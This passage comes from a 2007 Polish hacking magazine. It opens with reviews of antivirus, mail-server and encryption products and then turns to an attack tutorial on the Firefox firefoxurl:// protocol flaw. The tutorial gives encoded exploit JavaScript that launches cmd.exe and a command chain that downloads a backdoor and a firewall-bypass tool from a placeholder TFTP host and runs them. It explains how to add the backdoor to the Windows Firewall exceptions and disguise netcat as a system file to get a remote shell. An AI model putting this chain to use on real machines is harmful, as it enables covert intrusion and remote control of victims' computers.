znaczone do szyfrowania plików, jak i wiadomości tek-
stowych, np. e-maili. Program jest łatwy w obsłudze 
i  prosty  w  dostosowaniu  do  indywidualnych  potrzeb 
użytkownika.  TmD  Soft  wykorzystuje  kilkadziesiąt
algorytmów szyfrujących oraz kilkanaście algorytmów 
haszujących. Narzędzie daje także możliwość szyfro-
wania za pomocą kilku algorytmów na raz (tzw. multi-
szyfrowanie).  Aplikacja  udostępnia  użytkownikowi
opcję  stosowania  kompresji,  a  także  szereg  możli-
wości związanych z bezpiecznym usuwaniem plików.
W  skład  narzędzia  wchodzi  kalkulator  plików,  któ-
ry  jest  przeznaczony  do  obliczania  sum  kontrolnych 
CRC i funkcji skrótów HASH dla tekstu oraz plików.

Dr.Web Anti-Virus + Anti-Spam

Dr.Web  pod  Windows  jest  nie  tylko  produktem  antywi-
rusowym. Posiada znacznie większe możliwości mogąc 
wykrywać,  leczyć  i  usuwać  złośliwe  oprogramowanie
takie  jak:  robaki  mass-mailing,  wirusy  e-mail,  wirusy
plikowe,  trojany,  wirusy  stealth,  wirusy  polimorficzne,
wirusy bezpostaciowe, wirusy makro, wirusy MS Office,
wirusy skryptowe, oprogramowanie szpiegowskie, opro-
gramowanie  wykradające  hasła,  keyloggery,  płatne
dialery, oprogramowanie reklamowe, backdoory, progra-
my-żarty, złośliwe skrypty, wiadomości spam, pharming, 
phishing i inne rodzaje malware.

Narzędzie  może  zostać  zainstalowane  już  na

zainfekowanym  komputerze  i  wyleczyć  jego  system 
bez  potrzeby  instalowania  żadnych  dodatkowych 
aplikacji.  Istnieje  opcja  aktualizowania  baz  antywi-
rusowych Dr.Web przed instalacją, co zajmuje tylko 
kilka sekund i zapewnia posiadanie najnowszych sy-
gnatur wirusów.

Aktualizacje  baz  antywirusowych  Dr.Web  są  pu-

blikowane  natychmiast,  gdy  dodane  są  nowe  rekordy 
– nawet do kilkunastu razy w ciągu godziny. Najnow-
sze aktualizacje są gotowe do pobrania zaraz po wy-
chwyceniu nowego zagrożenia przez producenta, jego 
analizie i opracowaniu odpowiedniej szczepionki. 

Dr.Web posiada najbardziej kompaktową bazę anty-

wirusową.  Pozwala  to  na  szybsze  skanowanie  plików, 
co  przekłada  się  na  oszczędność  czasu  użytkownika
i niskie wymagania względem zasobów jego komputera. 
Jeden wpis w bazie antywirusowej Dr.Web może wykryć 
setki lub nawet tysiące podobnych wirusów. 

Program  w  bardzo  małym  stopniu  obciąża  zaso-

by  komputera  i  jest  całkowicie  kompatybilny  z  Micro-
soft Windows od wersji 95 OSR2 do XP Professional. 
Pakiet instalacyjny Dr.Web pod Windows do instalacji 
wymaga tylko 12-15 MB wolnej przestrzeni dyskowej. 
Oszczędza zasoby komputera i nigdy nie jest dla niego 
zbytnim obciążeniem – co czyni go niezastąpionym na 
wysłużonych maszynach starszej generacji. 

Proces instalacji jest bardzo prosty i przebiega bez 

żadnych problemów. W trakcie instalacji nie są wymaga-
ne żadne dodatkowe operacje czy ustawienia.

Narzędzie  zapewnia  ochronę  dla  poczty  elektro-

nicznej. Zainfekowane wiadomości nigdy nie przenikną
do  Twojego  komputera,  jeśli  tylko  monitor  poczty 
elektronicznej  Dr.Web  (SpIDer  Mail)  będzie  aktyw-
ny. Jego zadaniem jest wykrycie i usunięcie szkodli-
wego kodu jeszcze zanim wiadomość trafi do lokalnej
skrzynki  użytkownika.  Dr.Web  SpIDer  Mail  skanuje 
wszystkie komponenty wiadomości: ciało, załączniki, 
spakowane pliki itd.

e-Capsule Private Safe

Narzędzie  umożliwia  przechowywanie  dowolnej  licz-
by plików i folderów w środku własnego systemu plików
o nazwie he e-Capsule™ File System or EFS. Użytkow-
nik może zarządzać i otwierać zaszyfrowane pliki prze-
chowywane w EFS bez potrzeby uwalniania danych do 
zewnętrznych aplikacji. Dla przykładu można czytać plik 
PDF, słuchać plików MP3 i oglądać pliki video MPEG bez 
potrzeby opuszczania środowiska aplikacji. Cenne dane 
cały czas są zaszyfrowane i w każdej chwili mogą zostać 
odczytane w normalnej formie – kiedy tylko użytkownik 
tego zażąda.

e-Capsule Private Mail

Narzędzie umożliwia ochronę poczty przed wirusami, 
a także przed samym systemem operacyjnym. e-Cap-
sule  Private  Mail  przechowuje  wiadomości  i  wszyst-
kie  pozostałe  informacje  w  chronionej  strefie,  gdzie 
są  one  składowane  w  zaszyfrowanej  formie.  Wszyst-
kie prywatne informacje są przechowywane i zaszyfro-
wane nawet wtedy, kiedy się ich używa. Także wirusy
i trojany nie są w stanie skutecznie zaatakować, przy-
najmniej do czasu, kiedy nie będą miały informacji na 
temat  aplikacji,  skrzynki  pocztowej  i  struktury  książki 
adresowej. Program zawiera pełne wsparcie dla proto-
kołów POP3, SMTP, S/MIME.

Rysunek 1. 

Dr.Web Anti-Virus + Anti-Spam

background image

12

Narzędzia

hakin9 Nr 12/2007

www.hakin9.org

13

hakin9 Nr 12/2007

www.hakin9.org

Narzędzia

N

ajnowszym  dziełem  firmy  ArcaBit  jest  ArcaVir
2007.  Jest  to  pakiet  służący  do  komplekso-
wej  ochrony  komputera.  Zawiera  m.  in.  silnik 

antywirusowy,  moduł  wykrywający  rootkity,  heury-
stykę  RoundKick
,  skaner  poczty,  moduł  wykrywający
phishing,  moduł  antyspamowy,  firewall.  Instalacja 
programu  przebiegła  bezproblemowo  –  już  po  chwili
w  moim  systemie  był  zainstalowany  pełen  pakiet 
ochronny. Jako pierwszy rzucił mi się w oczy monitor 
rejestru, który przy jakichkolwiek zmianach w rejestrze 
pokazuje  podlegający  modyfikacji  klucz.  Jest  to  niby 
przydatna  funkcja,  ale  przy  instalacji  jakiegokolwiek 
oprogramowania  ekran  z  kluczem  pokazuje  się  noto-
rycznie. Wymaga to niekiedy kilkukrotnego klikania w 
celu  zezwolenia  na  modyfikację  określonego  klucza. 
Byłoby dobrze, gdyby program rozpoznawał, jaka jest 
rola danego klucza i czy jego zmiana jest zagrożeniem 
dla systemu. Firewall sprawuje się bardzo dobrze. 

Na  komputerze  z  uaktywnionym  firewallem  nmap 

nie  wykrył  żadnych  otwartych  portów.  Jednak  moduł 
nie blokuje m. in. Skype, Gadu-Gadu i programów p2p.
Postanowiłem  sprawdzić  także  skaner  antywirusowy,
pobrałem  kilka  często  stosowanych  wirusów  i  troja-
nów.  Program  wykrył  wszystkie,  ale  po  zawirusowa-
niu plików tylko w 40% przypadków udało się ich wyle-
czenie.  Zdecydowałem  się  nawet  napisać  prostego 
trojana  w  Delphi,  opartego  na  protokole  używanego 

przez Gadu-Gadu. Po ustawieniu heurystyki na wysoki 
poziom  trojan  został  wykryty  i  wysłany  do  producenta
w celu analizy. ArcaCare – program do kontroli zawarto-
ści stron WWW – sprawdza się bardzo dobrze. Po wpi-
saniu konkretnego adresu system go blokuje, ale tylko 
na  80  porcie,  więc  np.  korzystanie  z  poczty  na  tym 
samym  serwerze  jest  możliwe.  Program  tworzy  odpo-
wiednie  raporty  po  próbie  wejścia  na  adres  z  czarnej 
listy lub na stronę o podejrzanej zawartości, zawierają-
ce adres i godzinę tego wydarzenia. Anty Spamer działa 
podobnie jak ArcaCare i tylko czasami potrafi zawieść. 
Mamy  do  dyspozycji  wbudowany  skaner  załączników, 
jednak działa on tylko we współpracy z klientami poczty 
(podobnie  jak  sam  Anty  Spamer).  Zatem  kiedy  korzy-
stamy  ze  skrzynki  przez  webmaila  –  skaner  nic  nie 
pomoże w walce ze spamem. Jeżeli używamy Internet 
Explorera 6, to ArcaHTTP potrafi unieszkodliwić złośli-
wy kod, który może zawiesić system, a nawet doprowa-
dzić do przejęcia przez atakującego kontroli nad kompu-
terem. Moduł ten sprawdzałem na 20 groźnych kodach 
i zadziałał w 90% przypadków. Program prezentuje się 
bardzo dobrze, ale co z użytkownikami, którzy nie posia-
dają  Windowsa  XP  lub  2000  z  SP4?  Dla  nich  zosta-
ła  przygotowana  wersja  2006,  zapewniająca  ochro-
nę  dla  starszych  systemów.  Pomyślano  nawet  o  urzą-
dzeniach mobilnych: na płycie znajduje się ArcaPocket. 
Skanuje on pocztę i system plików samego urządzenia, 
a  gdy  to  ma  połączenie  z  Internetem  –  pobiera  aktu-
alizacje.  Moduł  zajmuje  tylko  7MB,  więc  powinien  bez 
większych problemów działać na większości urządzeń. 
Niestety, miałem problem z wpisaniem numeru licencji. 
Próbowałem uczynić to pięciokrotnie i za każdym razem 
numer nie został przyjęty. Być może powodem był fakt, 
że  urządzenie  nie  było  podłączone  do  Internetu.  Pod-
sumowując, ArcaVir to program dla przeciętnego użyt-
kownika komputera. Nie wymaga szczególnej znajomo-
ści  obsługi  komputera,  a  jedyne,  co  trzeba  ustalić,  to 
poziom dogłębności skanowania oraz lista stron WWW, 
których przeglądanie ma być zabronione dla użytkowni-
ków nieznających hasła dostępu. Pakiet wymaga jednak 
nieco dopracowania ze strony technicznej.
 

 

 

 

     Michał Koźmiński

ArcaVir 2007

Producent: ArcaBit

Typ: System protection

Przeznaczenie: Małe, średnie i duże firmy

System: Windows 2000/2003/XP

Strona producenta: www.arcabit.pl

Cena: 241,56 zł

Ocena: 4/5

background image

12

Narzędzia

hakin9 Nr 12/2007

www.hakin9.org

13

hakin9 Nr 12/2007

www.hakin9.org

Narzędzia

K

erio MailServer jest nowoczesnym, bezpiecznym 
serwerem  poczty  e-mail  z  możliwością  pracy 
grupowej. Kerio MailServer pozwala użytkowni-

kom nie tylko odbierać i wysyłać wiadomości e-mail, ale 
również wymieniać oraz dzielić się zawartością swoich 
folderów, kontaktów, kalendarzy, a także poszczególny-
mi wiadomościami z innymi użytkownikami serwera.

Testowany  produkt  możemy  zainstalować  na  sys-

temach  MS  Windows  (edycje  serwerowe  MS  Windows 
2000, Windows 2003 oraz Windows XP i Vista) jak rów-
nież  na  systemach  Linux  (SuSe,  Fedora).  Instalacja
i konfiguracja oprogramowania zajmuje tylko kilka minut. 

Zarządzanie  użytkownikami  również  nie  sprawia  pro-

blemu – przejrzysty interfejs konsoli administracyjnej umoż-
liwia  szybkie  dodanie  lub  usunięcie  konta  użytkownika 
– można je również łączyć w grupy. Jeśli w firmie są wdro-
żone usługi katalogowe – zarządzanie jest jeszcze prostsze 
– Kerio MailServer potrafi w pełni korzystać z ActiveDirecto-
ry oraz OpenDirectory. 

Rosnąca  ilość  spamu  i  wirusów  rozprzestrzeniają-

cych się za pomocą usług pocztowych, często jest pro-
blemem  w  przedsiębiorstwie.  Kerio  MailServer  posiada 
kilka mechanizmów, które rozwiązują te trudności. Pierw-
szą przeszkodą dla wirusów, jest ochrona antywirusowa 
wbudowana  w  jądro  systemu  (dostępnych  jest  8  silni-
ków antywirusowych różnych producentów). Dla bardziej 
wymagających użytkowników, istnieje możliwość imple-
mentacji dwóch silników anty-wirusowych – dzięki czemu 
poczta jest skanowana i chroniona podwójnie. Aby wal-
czyć ze spamem, w serwerze Kerio zostało zaimplemen-
towane narzędzie SpamEliminator. Używane są 3 różne 
techniki do rozpoznawania i filtracji spamu: analiza heury-
styczna, filtry Bayesa oraz SpamAssasin. Serwer potra-
fi limitować pojemność skrzynki na poziomie użytkowni-
ka oraz grupy. Administrator może zdefiniować ilość jed-
noczesnych połączeń na poszczególne usługi serwera, 
można również wymusić korzystanie z czarnych list oraz 
własnych zakresów IP. Administratorzy często korzysta-
ją  z  funkcji  wbudowanych  filtrów,  dzięki  czemu  można 
skanować i filtrować wiadomości wg różnych kryteriów: 
adresu, zawartości e-mail, tematu lub jego wielkości.

Największą  zaletą  programu,  jest  możliwość  pracy 

grupowej.  Każdy  użytkownik,  może  łatwo  przekazać 

lub  udostępnić  dane  innym.  Użytkownicy  mogą  prze-
syłać  między  sobą  dane  kontaktowe  znajdujące  się
w skrzynce, e-maile lub całe foldery, przydzielone zada-
nia, notatki lub kalendarze. Ponadto w skrzynkach pocz-
towych istnieje zabezpieczenie umożliwiające przywró-
cenie  usuniętych  obiektów  –  jeśli  jeden  użytkownik 
przypadkiem  usunąłby  coś  z  udostępnionego  folderu 
– można to łatwo przywrócić z konsoli zarządzania.

Kerio MailServer potrafi współpracować z urządzenia-

mi mobilnymi. Za pomocą ActiveSync urządzenie przeno-
śne jest konfigurowane do bezpośredniej pracy z danymi 
na  serwerze,  a  technologia  DirectPush  zapewnia  ciągły 
dostęp  do  poczty  –  w  dowolnym  miejscu  na  świecie. 
Dodatkowo, wspierane są wszystkie funkcje i możliwości 
pracy  grupowej,  przy  czym  połączenie  z  serwerem  jest 
nawiązywane, gdy zajdzie taka potrzeba. Bardzo ciekawą 
funkcją wprowadzoną przez Kerio jest technologia Kerio 
Smart Wipe. W przypadku zgubienia lub kradzieży urzą-
dzenia,  przy  kolejnym  połączeniu  smartphona  do  konta 
pocztowego, wszystkie dane znajdujące się na urządze-
niu zostaną usunięte. 

Kerio  MailServer  był  niejednokrotnie  wyróżniany

i nagradzany:  podczas tegorocznej konferencji LinuxWorld 
Conference & Expo
 został uznany najlepszym produktem 
do komunikacji, a redakcja Windows IT Pro uznała go za 
najlepszy  program  mający  zastąpić  Microsoft  Windows 
Exchange. Testy tego serwera, pozwalają mi stwierdzić, 
że otrzymane nagrody są w pełni zasłużone. Zachęcam 
do pobrania i przetestowania Kerio MailServer, jak rów-
nież na stronę www.kerio.pl, gdzie znajdują się dodatko-
we informacje o produkcie.
 

 

 

 

         Krzysztof Kułaj 

Producent: Kerio Technologies

Typ: Serwer poczty i pracy grupowej

Przeznaczenie: małe, średnie i duże firmy

Strona producenta: www.kerio.com, www.kerio.pl 

Cena: zależna od ilości użytkowników, negocjowana indywidualnie 

Ocena: 5/5

Kerio MailServer 6

background image

www.hakin9.org

hakin9 Nr 12/2007

14

Atak

P

rzeglądarka  Mozilli  liczy  sobie  już  ład-
nych  parę  lat.  Swoją  nazwę,  Firefox, 
uzyskała  w  lutym  2004.  Zjednywała 

sobie  coraz  większe  rzesze  użytkowników, 
by teraz stać się de facto drugą – po Internet 
Explorerze – przeglądarką na rynku. Jednak 
10 lipca 2007 roku odkryta została luka, która 
umożliwia  uruchomienie  dowolnego  progra-
mu w systemie Windows w kontekście Mozilli 
Firefox, z prawami użytkownika aktualnie ko-
rzystającego z przeglądarki.

Krótko o Firefoksie, czyli 

przegląd błędów

Mozilla Firefox – mimo, iż zyskała sobie po-
wszechną  opinię  niezwykle  bezpiecznego
narzędzia  nie  ustrzegła  się  błędów,  których 
konsekwencją były często poważne luki w za-
bezpieczeniach. Oczywiście nie ma w tym nic 
nadzwyczajnego, albowiem oprogramowanie 
ma to do siebie, że tworzą je ludzie, a ci nie 
są nieomylni. Co ciekawe, nie wszystkie dziu-
ry  zostały  załatane  (na  stronie  secunia.com 
6  z  14  ma  status  Unpatched).  Co  psuło  się
w  tej  przeglądarce?  Nie  radziła  sobie  ona 
z  obsługą  modelu  DOM,  co  było  przyczyną 
błędu  umożliwiającego  ominięcie  zabezpie-

czeń i zmianę danych wyświetlanych w prze-
glądarce. Silnik JavaScript umożliwiał uszko-
dzenie  pamięci,  co  w  połączeniu  z  techniką 
przepełnienia  bufora  sprawiało,  że  poten-
cjalny  intruz  miał  możliwość  uruchomienia 
własnego kodu na komputerze ofiary. Także
protokoły  tworzone  przez  Firefoksa  były 
przyczyną wielu krytycznych luk związanych
z  bezpieczeństwem.  I  właśnie  jeden  z  nich 
powoduje ostatnią lukę – fire foxurl://

Niebezpieczny Firefox

Konrad Zuwała

stopień trudności

Przeglądarka Mozilli zyskuje coraz większą popularność. Wielu 

użytkowników wybrało ją ze względu na bezpieczeństwo, które 

oferuje, wydajny silnik Gecko czy kilka udoskonaleń, które już 

na stałe zagościły w przeglądarkach. Czy jednak Firefox jest tak 

bezpieczny, za jakiego jest uważany?

Z artykułu dowiesz się

•   jak skompromitować system użytkownika 

z przeglądarką Mozilla Firefox, działający 
w środowisku Windows,

•   jak zabezpieczyć się przed tego typu atakiem.

Co powinieneś wiedzieć

•   znać podstawy JavaScriptu,
•   umieć pisać aplikacje sieciowe w środowisku 

Windows,

•   znać podstawy WinAPI,
•   umieć administrować systemami Windows 

z wykorzystaniem wiersza poleceń.

background image

Niebezpieczny Firefox

hakin9 Nr 12/2007

www.hakin9.org

15

FirefoxURL

Mozilla  Firefox  korzysta  z  silnika 
Gecko. Silnik ten, oprócz przetwarza-
nia  stron  internetowych,  spełnia  też
inne  istotne  zadanie  –  zarządza  in-
terfejsem  użytkownika  przeglądarki. 
Do tego celu przeznaczony jest od-
rębny  protokół  Mozilli  –  firefoxurl://.
Uchwyt  do  tego  protokołu  jest  reje-
strowany  w  rejestrze  systemu  Win-
dows,  tak,  jak  jest  to  pokazane  na
Listingu 1.

Zatem,  gdy  wykonamy  polecenie 

w rodzaju: 

firefoxurl://xxx

, przeglą-

darka zostanie wywołana w wierszu 
poleceń: 

C:\Program Files\Mozilla\Firefox.exe
 -url „xxx” -requestPending. 

Błąd  ten  występuje  jedynie  w  Fire-
foksie  w  systemie  Windows,  a  wer-
sja przeglądarki, w której go odkryto, 
to 2.0.0.4. Dlaczego tylko Windows? 
Otóż  do  wykonania  złośliwego  ko-
du konieczna jest obecność przeglą-
darki Internet Explorer, albowiem nie 
dokonuje ona sprawdzenia wpisywa-
nego  łańcucha  pod  kątem  obecno-
ści znaków specjalnych (& itp.), przez 
co  możliwe  jest  wysłanie  tak  skon-
struowanego żądania. Na systemach 
uniksowych nie mamy Internet Explo-
rera,  nie  mamy  też  możliwości  wy-
wołania  protokołu  Firefoksa  z  jakiej-
kolwiek innej aplikacji, co skutecznie
blokuje  nam  możliwość  działania. 
Mozilla obecna na Linuksie nie będzie 
więc obiektem naszego ataku.

Opisywana  luka  pozwala  na  uru-

chomienie  dowolnego  programu  w 
kontekście  np.  Chrome,  który  jest  od-

powiedzialny  za  wygląd  przeglądar-
ki. Intruz może więc uruchomić za po-
mocą specjalnie spreparowanej strony 
dowolny program na komputerze ofia-
ry,  np. 

cmd.exe

,  czyli  powłokę  syste-

mu Windows. Może też wykonać cały 
ciąg komend korzystając ze znaków 

&&

 

oznaczających  wykonanie  następne-
go  polecenia,  gdy  poprzednie  zakoń-
czy  się  sukcesem.  Tak  więc  ciąg  po-
leceń w rodzaju: uruchom powłokę 

&&

pobierz 

Backdoor  &&

  omiń 

Firewall-

Windows &&

 uruchom 

Backdoor

 pozwo-

li intruzowi uzyskać zdalny dostęp do 
komputera ofiary, omijając przy tym 
firewall  systemu  Windows.  Przykła-
dowy  backdoor  może  otwierać  po-
włokę  (cmd.exe)  na  porcie  wybra-
nym przez intruza i oczekiwać na je-
go połączenie.

Preparujemy 

odpowiednią stronę

Pierwszym  krokiem,  jaki  należy
wykonać, jest spreparowanie odpo-
wiedniej  strony  i  namówienie  ofia-
ry,  aby  weszła  na  nią  używając 
przeglądarki Internet Explorer. Tak,
Internet Explorer, albowiem gdy na-
potka  on  odniesienie  firefoxurl://
wywoła Mozillę Firefox w odpowied-
nim  kontekście,  uruchamiając  przy 
okazji  program  cmd.exe  na  kom-
puterze ofiary i jednocześnie pomi-
jając  sprawdzenie  żądania  pod  ką-
tem występowania znaków specjal-
nych.  Zastanówmy  się  najpierw,
jakie  działania  powinna  podjąć  na-
sza strona po uzyskaniu dostępu do 
powłoki. Z pewnością powinna w ja-
kiś  sposób  przetransferować  przy-
gotowany  przez  nas  backdoor  na 

dysk  ofiary,  następnie  aplikacja  ta 
powinna  zostać  uruchomiona.  No 
i nie zapominajmy o ominięciu fire-
walla  systemu  Windows  –  blokuje 
on  domyślnie  połączenia  przycho-
dzące na komputer ofiary, tak więc 
powinniśmy  dodać  aplikację  back-
doora  do  listy  wyjątków  zapory.
Jeśli  bardzo  chcemy,  możliwe  jest 
nawet  dodanie  naszej  aplikacji  do
listy usług (services) – tak, aby uru-
chamiała  się  razem  z  systemem 
operacyjnym.

Powstają  przy  tym  dwa  proble-

my:  jak  przemycić  tak  skompliko-
wane  zapytanie  oraz  w  jaki  sposób 
ściągnąć pliki na komputer użytkow-
nika.  Ale  po  kolei.  Nasze  działania 
musimy  rozpocząć  od  przygotowa-
nia  kodu  JavaScript,  który  pozwoli 
nam spreparować odpowiednią stro-
nę  internetową,  zawierającą  nasz 
exploit.  Co  powinna  zawierać  taka 
strona? Otóż sam kod nie jest skom-
plikowany:  jedyne  co  należy  zrobić, 
to  wywołać  z  poziomu 

JavaScriptu 

firefoxurl 

w kontekście jakiegoś roz-

szerzenia  Firefoksa  –  np.  Chrome, 
na  którym  skupimy  się  w  naszym 
exploicie. 

Jak widać na Listingu 2. wywołu-

jemy  protokół  Firefoksa,  firefoxurl://
następnie inicjujemy proces potomny, 
którego zadaniem jest wywołanie pro-
gramu cmd.exe. Kod JavaScript korzy-
sta z wewnętrznego interfejsu Mozilli 
Firefox, z interfejsu procesów Mozilli
(więcej na ten temat w ramce W Sie-
ci
). Co oznaczają te wszystkie cyfry 
w  kodzie  poprzedzone  znakiem  %? 
Otóż jest to Unicode – kodujemy zna-
ki specjalne w ten sposób, aby odróż-

Listing 1. 

Klucz protokołu Firefoxa w rejestrze Windows

[HKEY_CLASSES_ROOT\FirefoxURL\shell\open\command\@]C:\PROGRA~1\MOZILL~2\FIREFOX.EXE -url “%1″ -requestPending 

Listing 2. 

Kod przykładowego exploita, wywołującego program cmd.exe na komputerze użytkownika

firefoxurl:test%

22

%

20

-chrome%

20

%

22javascript:C

=

Components.classes

;

I

=

Components.interfaces

;

file

=

C%5B%

27

@mozilla.org

/

file

/

local

;

1

%

27

%5D.createInstance%28I.nsILocalFile%

29

;

file.initWithPath%

28

%

27C:%

27

+String.fromCharCode%

2892

%

29

+String.fromCharCode%

2892

%

29

+%27Windows%

27

+String.fromCharCode%

2892

%

29

+String.fromCharCode%

2892

%

29

+%27System32%

27

+String.fromCharCode%

2892

%

29

+String.fromCharCode%

2892

%

29

+%27cmd.exe%

27

%

29

;

process

=

C%5B%

27

@mozilla.org

/

process

/

util

;

1

%

27

%5D.createInstance%28I.nsIProcess%

29

;

process.init%28file%

29

;

process.run%28true%252c%7B%7D%252c0%

29

;

background image

hakin9 Nr 12/2007

www.hakin9.org

Atak

16

niały  się  nieco  od  kodu  JavaScript 
(tam  też  mamy  cudzysłów,  apostrof, 
itp.,  więc  stosowanie  tych  znaków 
mogłoby doprowadzić do opacznej in-
terpretacji  skryptu  przez  przeglądar-
kę.  Dodatkowo  zabezpiecza  nas  to 
przed  kontrolą  wpisywanego  tekstu, 
albowiem  w  niektórych  sytuacjach 
kod  może  zostać  rozpoznany  jako 
złośliwy,  co  zapobiegnie  jego  wyko-
naniu). Aby przygotować odpowiedni 
kod, należy najpierw dokładnie prze-
myśleć  działanie  exploita.  W  pierw-
szej  kolejności  winien  on  uruchomić 
powłokę, następnie za pomocą proto-
kołu tftp pobrać aplikację backdoora 
i program modyfikujący rejestr (doda-
nie  do  wyjątków  firewalla  Windows), 
po  czym  konieczne  jest  uruchomie-
nie  obu  aplikacji.  Dlaczego  wybór
w  kwestii  przesyłania  plików  padł  na 
protokół  tftp?  Otóż  jest  on  niezwykle 
prostym,  bazującym  na  UDP  proto-
kołem. Obsługa programu tftp.exe jest 
bardzo  intuicyjna,  dzięki  czemu  mak-
symalnie  skrócimy  długość  naszego 
zapytania. Na Listingu 3. widać finalną 
wersję wywołania cmd.exe.

Jak  widać  z  Listingu  3.  musimy 

być posiadaczami serwera tftp – wy-
starczy  ściągnąć  darmowy  tftp-ser-
ver dla systemu Windows bądź zain-
stalować  odpowiednią  aplikację  do-
stępną dla Linuksa. Mamy zatem go-
towy plan działania, jednak najpierw 
musimy  przygotować  odpowiednie 
programy – 

modifyReg.exe

, dodający 

backdoor  do  listy  wyjątków  zapory 
Windows oraz 

win32srv.exe 

– właści-

wą aplikację odpowiadającą za nasz 
dostęp do komputera ofiary.

Omijamy firewall 

Windows

Abyśmy mieli możliwość zdalnego po-
łączenia z komputerem, na którym za-

instalujemy  nasz  backdoor,  musimy 
najpierw ominąć firewall – w przeciw-
nym  wypadku  wszelkie  przychodzą-
ce  połączenia  zostaną  zablokowane. 
Rozpocznijmy od zrozumienia obsługi 
tegoż firewalla. Zapora systemu Win-
dows  standardowo  blokuje  wszystkie 
połączenia przychodzące (nie kontro-
luje  ona  ruchu  wychodzącego).  Aby 
program  sieciowy  mógł  działać,  mo-
żemy  go  dodać  do  tzw.  listy  wyjąt-
ków
  –  czyli  zestawienia  programów, 
które nie są przez zaporę kontrolowa-
ne i mogą przyjmować dowolne połą-
czenia na wybranych portach. W jaki
jednak  sposób  sprawić,  aby  nasza 
aplikacja znalazła się na liście wyjąt-
ków?  Z  pomocą  przychodzi  nam  re-
jestr  Windows,  gdzie  zapisane  są 
wszystkie  informacje  o  konfiguracji 
komputera, w tym również o zaporze.

Lista wyjątków zapory jest w rze-

czywistości kluczem rejestru, ścieżka 
dostępu do autoryzowanych aplikacji 
jest pokazana na Listingu 4.

Po  otwarciu  tego  klucza  ujrzymy 

wszystkie  programy,  które  znajdu-
ją  się  w  wyjątkach  zapory.  Naszym
celem  jest  więc  umieszczenie  nowej 
wartości, typu REG_SZ, której nazwa 
będzie  odpowiadała  ścieżce  dostępu 
do  backdoora  (czyli  C:\WINDOWS\
system32\win32srv.exe
),  a  wartość 
pokryje  się  z  nazwą  z  jednym  tylko 
wyjątkiem  –  znajdzie  się  tam  słowo 
enabled.  To  wszystko  będzie  zada-
niem aplikacji modifyReg.exe – za po-
mocą funkcji 

WinAPI

 zmieni ona rejestr 

systemu. Posłuży nam do tego funkcja 

RegistryCreateKeyEx

.

Żeby  przekonać  się  o  skuteczno-

ści programu, można za pomocą pro-
gramu  regedit  odnaleźć  odpowiedni 
klucz lub po prostu wybrać menu Za-
pory z Panelu Sterowania i sprawdzić 
listę wyjątków. Program win32srv.exe

 

jest poza kontrolą. Oczywiście, uważ-
ny  administrator  dostrzeże  niezna-
ną  aplikację  na  liście  wyjątków,  co
w połączeniu z pewną wiedzą o za-
rządzanym systemie doprowadzi do 
usunięcia naszego backdoora. Jednak 
większość  użytkowników  po  ujrzeniu
czegoś  w  rodzaju  win32srv.exe,  cze-
goś  co  wygląda  na  ważny  plik  sys-
temowy,  postanowi  w  imię  świętego 
spokoju zostawić ten program.

Co  jednak  zrobić  w  sytuacji,  gdy 

użytkownik  używa  innej  aplikacji  niż 
wbudowany  w  jądro  systemu  Win-
dows  firewall?  Przecież  na  rynku  aż 
roi  się  od  tego  typu  rozwiązań.  Mo-
że  to  znacząco  utrudnić  nasz  atak, 
ale  tylko  w  części  przypadków.  Otóż 
niektóre  zapory  korzystają  również 
z  listy  wyjątków  firewalla  Windows,
dopuszczając  ruch  sieciowy  dla  pro-
gramów, które dodane są jako wyjątki 
tejże aplikacji. Oczywiście dotyczy to 
tylko pewnej grupy rozwiązań, znacz-
na  część  programów  filtrujących  pa-
kiety używa tylko i wyłącznie własnych 
baz danych, co blokuje możliwość ich 
prostego ominięcia. Jednak z pomocą 
przychodzi nam znów WinAPI – moż-
na  po  prostu  podczepić  się  pod  pro-
ces  aplikacji,  która  ma  możliwość  ko-
rzystania z Internetu. Autor nie będzie 
się na ten temat rozpisywać, albowiem 
doskonale wyjaśnia tę kwestię artykuł
z hakin9 nr 3/2005, zatytułowany Omi-
janie  firewalli  osobistych  w  Windows

Nawet  najlepszy  firewall  nie  może
stanąć nam na przeszkodzie.

Backdoor

Ostatnim krokiem potrzebnym do po-
wodzenia  operacji  jest  skonstruowa-
nie  aplikacji  backdoora.  Powinien  on 
otwierać powłokę (cmd.exe) na wybra-
nym przez nas porcie i w razie nadej-
ścia połączenia przekierowywać stan-

Listing 3. 

Finalne wywołanie programu cmd.exe

cmd.exe „cd c:\WINDOWS\system32\ && tftp -i GET ourTftpServer.com/modifyReg.exe && tftp
-i GET ourTftpServer.com/win32srv.exe && modifyReg.exe && win32srv.exe”

Listing 4. 

Dostęp do autoryzowanych aplikacji zapory Windows poprzez rejestr

HKEY_LOCAL_MACHINESYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\

AuthorizedApplications\List.

background image

Niebezpieczny Firefox

hakin9 Nr 12/2007

www.hakin9.org

17

dardowe  wejście,  wyjście  i  strumień 
błędów do stworzonego gniazda – tak, 
abyśmy otrzymali coś w rodzaju sesji 
telnetu.  Tyle,  że  bez  potrzeby  znajo-
mości hasła.

Można w tym miejscu pokusić się 

o  napisanie  samemu  takiego  progra-
mu, jednak z pomocą przychodzi nam 
znany  program  netcat.  Potrafi  on  na-
słuchiwać  połączenia  przychodzące-
go  na  zadanym  porcie,  by  następnie 
przekierować  wyjście,  wejście  oraz 
strumień błędów dowolnego programu
(w naszym wypadku jest to cmd.exe). 
Dodatkowo zastosowanie netcata – ja-
ko sprawdzonego narzędzia – pozwo-
li  nam  uniknąć  wszelkich  niespodzie-
wanych  problemów  implementacyj-
nych.  Tak  więc  ściągamy  netcata  dla 
Windows  NT,  zmieniamy  jego  nazwę 
na win32srv.exe, a następnie umiesz-
czamy na naszym serwerze ftp. Musi-
my nieco zmodyfikować nasze finalne

wywołanie  –  mianowicie  programo-
wi win32srv.exe podać trzeba w wier-
szu poleceń pewne argumenty: przede 
wszystkim numer portu, na którym ma 
nasłuchiwać  oraz  aplikację,  którą  wi-
nien do niego przekierować.

Przeanalizujmy Listing 6. urucha-

miamy netcat na porcie 1234. Opcja 
-l mówi mu, że ma oczekiwać na po-
łączenia, 

-e  cmd.exe

  oznacza  prze-

kierowanie  cmd.exe  na  port  1234,

-L

 każe mu w razie przerwania sesji 

oczekiwać na następne połączenia.

Mamy  gotową  aplikację  back-

doora, program omijający firewall oraz 
koncepcję spreparowania strony. Na-
leży więc skleić to wszystko razem.

Łączymy elementy 

układanki

Na początku utwórzmy finalną wersję 
strony. Znaki specjalne (cudzysłowy, 
apostrofy, angielskie 

&

) powinny być 

